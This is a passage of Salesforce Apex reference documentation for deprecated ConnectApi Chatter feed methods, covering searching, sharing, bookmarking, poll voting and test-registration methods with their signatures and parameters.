  The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.
- `pageParam`
  Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

**q**
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**Return Value**
Type: ConnectApi.FeedItemPage

**Usage**
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**
setTestSearchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q, result)

**Testing ConnectApi Code**

**searchFeedItemsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)**
Get a page of sorted feed items from the Company, Home, and Moderation feeds that match the search criteria. Each feed item includes no more than the specified number of comments.

**API Version**
29.0–31.0
Important: In version 32.0 and later, use `searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)`.

Available to Guest Users
31.0 only

Yes

Signature

```java
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)
```

Parameters

- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

- **feedType**
  Type: `ConnectApi.FeedType`
  The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

- **recentCommentCount**
  Type: `Integer`
  The maximum number of comments to return with each feed item. The default value is 3.

- **density**
  Type: `ConnectApi.FeedDensity`
  Specify the amount of content in a feed.
  - AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
  - FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

- **pageParam**
  Type: `String`
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

- **pageSize**
  Type: `Integer`
  Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

- **sortParam**
  Type: `ConnectApi.FeedSortOrder`
Values are:

- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds. Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

`q`

Type: String

Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value

Type: ConnectApi.FeedItemPage

Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

Available to Guest Users

31.0 only

Requires Chatter

Yes
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, String q)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter, Landing, and Streams.

subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is UserProfile, subjectId can be any user ID. If feedType is any other value, subjectId must be the ID of the context user or the alias me.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

Signature

```java
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
    ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
    ConnectApi.FeedSortOrder sortParam, String q)
```

Parameters

- `communityId`
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- `feedType`
  - Type: `ConnectApi.FeedType`
  - The type of feed. Valid values include every `ConnectApi.FeedType` except Company, DirectMessages, Filter, Landing, and Streams.

- `subjectId`
  - Type: String
  - If `feedType` is Record, `subjectId` can be any record ID, including a group ID. If `feedType` is Streams, `subjectId` must be a stream ID. If `feedType` is Topics, `subjectId` must be a topic ID. If `feedType` is UserProfile, `subjectId` can be any user ID. If the `feedType` is any other value, `subjectId` must be the ID of the context user or the alias me.

- `pageParam`
  - Type: String
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

- `pageSize`
  - Type: Integer
  - Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

- `sortParam`
  - Type: `ConnectApi.FeedSortOrder`
  - Order of feed items in the feed.
    - CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
    - CreatedDateDesc—Sorts by most recent creation date.
    - LastModifiedDateDesc—Sorts by most recent activity.
    - MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
    - Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

\[ q \]

Type: String

Search term. Searches keywords in the user or group name. A minimum of one character is required. This parameter does not support wildcards. This parameter is required.

Return Value

Type: ConnectApi.FeedItemPage

Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

Signature

public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: `ConnectApi.FeedType`
The type of feed. Valid values include every `ConnectApi.FeedType` except Company, DirectMessages, Filter, Landing, and Streams.

**subjectId**
Type: String
If `feedType` is Record, `subjectId` can be any record ID, including a group ID. If `feedType` is Streams, `subjectId` must be a stream ID. If `feedType` is Topics, `subjectId` must be a topic ID. If `feedType` is UserProfile, `subjectId` can be any user ID. If the `feedType` is any other value, `subjectId` must be the ID of the context user or the alias me.

**recentCommentCount**
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

**density**
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in null, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortByParam**
Type: `ConnectApi.FeedSortOrder`
Values are:
- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the `ConnectApi.FeedFilter` is UnansweredQuestions.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

**q**

Type: String

Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value

Type: `ConnectApi.FeedItemPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

### searchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly)

Get a page of sorted feed items from a feed for a user or record that match the search criteria. Each feed item includes no more than the specified number of comments. Specify whether to return feed items posted by internal (non-Experience Cloud site) users only.

**API Version**

30.0–31.0

⚠️ **Important:** In version 32.0 and later, use `searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly)`.

**Available to Guest Users**

31.0 only

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
    ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
    ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
    ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly)
```
Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.

subjectId
Type: String
Any record ID, including a group ID.

recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds. Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

q
Type: String
Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

`showInternalOnly`
Type: Boolean
Specifies whether to show only feed items from internal (non-Experience Cloud site) users (`true`), or not (`false`). The default value is `false`.

Return Value
Type: `ConnectApi.FeedItemPage`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly, result)`
- Testing ConnectApi Code

`searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q)`
Get the feed items that match the search criteria from a feed filtered by a key prefix for a user.

API Version
28.0–31.0

⚠️ Important: In version 32.0 and later, use `searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q)`.

Requires Chatter
Yes

Signature
```java
public static ConnectApi.FeedItemPage searchFeedItemsInFilterFeed(String communityId, String subjectId, String keyPrefix, String q)
```

Parameters
- `communityId`
  Type: String
  Use the ID for an Experience Cloud site, internal, or `null`.

- `subjectId`
  Type: String
  The ID of the context user or the alias `me`.
**keyPrefix**

Type: **String**

A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

**q**

Type: **String**

Required and cannot be **null**. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See **Wildcards**.

Return Value

Type: **ConnectApi.FeedItemPage**

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestSearchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q, result)`
- **Testing ConnectApi Code**

**searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q)**

Get a page of sorted feed items that match the search criteria from a feed filtered by a key prefix for a user.

API Version

28.0–31.0

**Important**: In version 32.0 and later, use `searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q)`.

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedItemPage searchFeedItemsInFilterFeed(String communityId, String subjectId, String keyPrefix, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)
```

Parameters

- `communityId`
  
  Type: **String**
Use the ID for an Experience Cloud site, internal, or null.

subjectId
Type: String
The ID of the context user or the alias me.

keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedItemPage
Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

```java
setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId, keyPrefix, pageParam, pageSize, sortParam, q, result)
```

Testing ConnectApi Code

```java
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam, q)
```

Get a page of sorted feed items that match the search criteria from a feed filtered by a key prefix for a user. Each feed item includes no more than the specified number of comments.

API Version

29.0–31.0

**Important:** In version 32.0 and later, use `searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam, q)`. Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedItemPage searchFeedItemsInFilterFeed(String communityId, String subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)
```

Parameters

`communityId`

Type: `String`

Use the ID for an Experience Cloud site, `internal`, or `null`.

`subjectId`

Type: `String`

The ID of the context user or the alias `me`.

`keyPrefix`

Type: `String`

A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

`recentCommentCount`

Type: `Integer`

The maximum number of comments to return with each feed item. The default value is 3.
density
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.

- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

`pageParam`
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

`pageSize`
Type: `Integer`
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

`sortParam`
Type: `ConnectApi.FeedSortOrder`
Values are:

- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- **Relevance**—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in `null`, the default value `CreatedDateDesc` is used.

`q`
Type: `String`
Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See [Wildcards](#).

Return Value
Type: `ConnectApi.FeedItemPage`
Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam, q, result)`
- Testing ConnectApi Code

`shareFeedElement(communityId, subjectId, feedElementType, originalFeedElementId)`

Share the `originalFeedElementId` as the context user.

API Version

31.0–38.0

⚠️ **Important:** In version 39.0 and later, use `postFeedElement(communityId, feedElement)` or `updateFeedElement(communityId, feedElementId, feedElement)` with the `ConnectApi.FeedEntityShareCapabilityInput` to share a feed entity with a feed element.

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedElement shareFeedElement(String communityId, String subjectId, ConnectApi.FeedElementType feedElementType, String originalFeedElementId)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- `subjectId`
  - Type: `String`
  - The ID of the user or group with whom to share the feed element.

- `feedElementType`
  - Type: `ConnectApi.FeedElementType`
  - Values are:
    - `Bundle`—A container of feed elements. A bundle also has a body made up of message segments that can always be gracefully degraded to text-only values.
    - `FeedItem`—A feed item has a single parent and is scoped to one Experience Cloud site or across all Experience Cloud sites. A feed item can have capabilities such as bookmarks, canvas, content, comment, link, poll. Feed items have a body made up of message segments that can always be gracefully degraded to text-only values.
- Recommendation—A recommendation is a feed element with a recommendations capability. A recommendation suggests records to follow, groups to join, or applications that are helpful to the context user.

**originalFeedElementId**

**Type:** String

The ID of the feed element to share.

**Return Value**

**Type:** [ConnectApi.FeedElement](#)

**Example**

```java
ConnectApi.ChatterFeeds.shareFeedElement(null, '0F9RR0000004CPw',
ConnectApi.FeedElementType.FeedItem, '0D5RR0000004Gxc');
```

**shareFeedItem(communityId, feedType, subjectId, originalFeedItemId)**

Share the `originalFeedItemId` to the feed specified by the `feedType`.

**API Version**

28.0–31.0

**Important:**

- In version 32.0–38.0, use `shareFeedElement(communityId, subjectId, feedElementType, originalFeedElementId)`.
- In version 39.0 and later, use `postFeedElement(communityId, feedElement)` or `updateFeedElement(communityId, feedElementId, feedElement)` with the `ConnectApi.FeedEntityShareCapabilityInput`.

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.FeedItem shareFeedItem(String communityId, ConnectApi.FeedType feedType, String subjectId, String originalFeedItemId)
```

**Parameters**

- `communityId`
  **Type:** String
  Use the ID for an Experience Cloud site, internal, or null.

- `feedType`
  **Type:** [ConnectApi.FeedType](#)
  One of the following:
To share a feed item with a group, use `Record` and use a group ID as the `subjectId`.

**subjectId**
Type: `String`
The value depends on the value of `feedType`:
- **News**—`subjectId` must be the ID of the context user or the keyword `me`.
- **Record**—`subjectId` can be a group ID or the ID of the context user (or `me`).
- **UserProfile**—`subjectId` can be any user ID.

**originalFeedItemId**
Type: `String`
The ID of the feed item to share.

**Return Value**
Type: `ConnectApi.FeedItem`

**Example**
To share a feed item with a group, pass in the Experience Cloud site ID (or `null`), the feed type `Record`, the group ID, and the ID of the feed item to share.

```java
ConnectApi.ChatterFeeds.shareFeedItem(null, ConnectApi.FeedType.Record, '0F9D00000000izf', '0D5D0000000JuAG');
```

### `updateBookmark(communityId, feedItemId, isBookmarkedByCurrentUser)`

Bookmark a feed item or remove a bookmark from a feed item.

**API Version**
28.0–31.0

**Important:** In version 32.0 and later, use `updateFeedElementBookmarks(communityId, feedElementId, bookmarks)` or `updateFeedElementBookmarks(communityId, feedElementId, isBookmarkedByCurrentUser)`.

**Requires Chatter**
Yes

**Signature**

```java
public static ConnectApi.FeedItem updateBookmark(String communityId, String feedItemId, Boolean isBookmarkedByCurrentUser)
```
Parameters

**communityId**
Type: **String**
Use the ID for an Experience Cloud site, **internal**, or **null**.

**feedItemId**
Type: **String**
The ID for a feed item.

**isBookmarkedByCurrentUser**
Type: **Boolean**
— Specifying **true** adds the feed item to the list of bookmarks for the context user. Specify **false** to remove a bookmark.

Return Value
Type: **ConnectApi.FeedItem**

```
voteOnFeedPoll(communityId, feedItemId, myChoiceId)
```
Vote or change your vote on a feed poll.

**API Version**
28.0–31.0

**Important:** In version 32.0 and later, use `voteOnFeedElementPoll(communityId, feedElementId, myChoiceId)`.

**Requires Chatter**
Yes

**Signature**
```
public static ConnectApi.FeedPoll voteOnFeedPoll(String communityId, String feedItemId, String myChoiceId)
```

Parameters

**communityId**
Type: **String**
Use the ID for an Experience Cloud site, **internal**, or **null**.

**feedItemId**
Type: **String**
ID of the feed item that is associated with the poll.

**myChoiceId**
Type: **String**
ID of the item in the poll you’re voting for.
setTestGetFeedItemsFromFeed(communityId, feedType, result)

Register a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
28.0–31.0

Signature
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType feedType, ConnectApi.FeedItemPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

result
Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getFeedItemsFromFeed(communityId, feedType)
Testing ConnectApi Code

setTestGetFeedItemsFromFeed(communityId, feedType, pageParam, pageSize, sortParam, result)

Register a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
28.0–31.0
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType feedType, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: `ConnectApi.FeedType`
The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

**pageParam**
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**
Type: `ConnectApi.FeedSortOrder`
Values are:
- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

**result**
Type: `ConnectApi.FeedItemPage`
The object containing test data.
Return Value
Type: Void

SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestGetFeedItemsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, result)

Register a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
29.0–31.0

Signature
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

`pageSize`
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

`sortParam`
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds. Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

`result`
Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
Testing ConnectApi Code

`setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, result)`
Register a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
28.0–31.0

Signature
`public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, ConnectApi.FeedItemPage result)`
Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.

result
Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, subjectId)
Testing ConnectApi Code

setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, result)

Register a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
28.0–31.0

Signature
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

result
Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:

  Testing ConnectApi Code
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, result)

Register a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
29.0–31.0

Signature
